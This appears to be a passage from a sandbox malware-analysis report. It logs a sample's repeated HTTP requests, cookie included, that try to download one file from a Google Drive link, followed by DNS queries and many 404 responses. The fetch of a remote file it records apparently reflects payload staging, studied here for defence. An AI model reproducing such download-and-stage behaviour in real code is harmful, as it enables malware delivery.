Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
Source: global traffic	HTTP traffic detected: GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgTTdXpZSXlwSiAzrjMhkKapMak9eF3AaveGf_RYft8RZNr2coBwVTLIJw74yCojNBRLContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:02 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'nonce-DeDfnxsw2JoCIImyO2KlWg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerSet-Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ; expires=Sun, 13-Jul-2025 04:06:01 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=noneAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQ7Oj6XiMKPrNThbbNvGLq5Ji9066ekkRbzA-wvmisqifUl2t9TUFrdvfYOw4MHfun1Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:04 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-nBZbLe45NRVS_eqPGpPZ1w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgSz4JJ8K40AwlCuQSzhm6caGWtikNTIeyWkUYW7zGpeC5SgjT1D6Cx_r_j1CAEmdpAnContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:07 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-QIqOKJo2_cz0vSGF6AadGw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQrxNivytgpzIfroY0Km0Oa-BzAOcmlbaiJ6dQpGvoHB-7qR2ZBjmn_jV5K9UWPgTJnpKoelQMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:09 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-S6Tnd-aNAsf65K3p4SIduw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQevJy5pKGLnkINqKLQFJTEPMiQDZdVwHbAHIDueYLep5wA6a4z1sJPHn2X-0Z8kSTzContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:11 GMTContent-Security-Policy: script-src 'nonce-gQ62IfalAGZa63GOZV9y4A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgRLB1Bf6Wbp5FM0bH_v8mp-g6dua5NPQE_sGXKc_8m4rUKAOsBii_IU2X07oAyqs4wvYVFLwH0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:13 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce--E3SRwmpsQuIeF1zFLz4Tw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7JEAIPbmccGRSwlVWxNwGKC6XqexVsmKDyq-rgsnb_abHBlULabqVh6k3AmwR_RTrSContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:16 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-bUluizeK6fEkl6dlI3XOyg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgTQHPwfdBnfp-ztXYWzOxnM-hVeXmULAkfoaZfLc1V0Q-ePf4sh-8C4f5fe4qtqryI7tZl_S_8Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:18 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-Mu3T3IN1Ve0YN77zcErTHA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgRPc2edr0MeDBTSTsYrturhPAcPn9kUJhIQjYTunpBjZ-66fhx8cClLbHVS7oV4oA_XeQyqBuYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:20 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-5UbIlpXEUUaJdiC3T6yoyQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgTe8q5Xf09XMaNgsioVGNXw6ve2IKa3hpDmCVd6qYG9X3zlvKTbU4PKMfkK1C3mH87uContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:23 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'nonce-yVMzFqr-45LlEoaaWKUESw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5UDBcF1tDJrVDDsMZggfVo91g2qIDiD5VLUqYOhse8fUefxqhSlzT4mn0K5YkM_GDoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:06:25 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-4JfukRkcZnKtvJf2QnTFbQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri 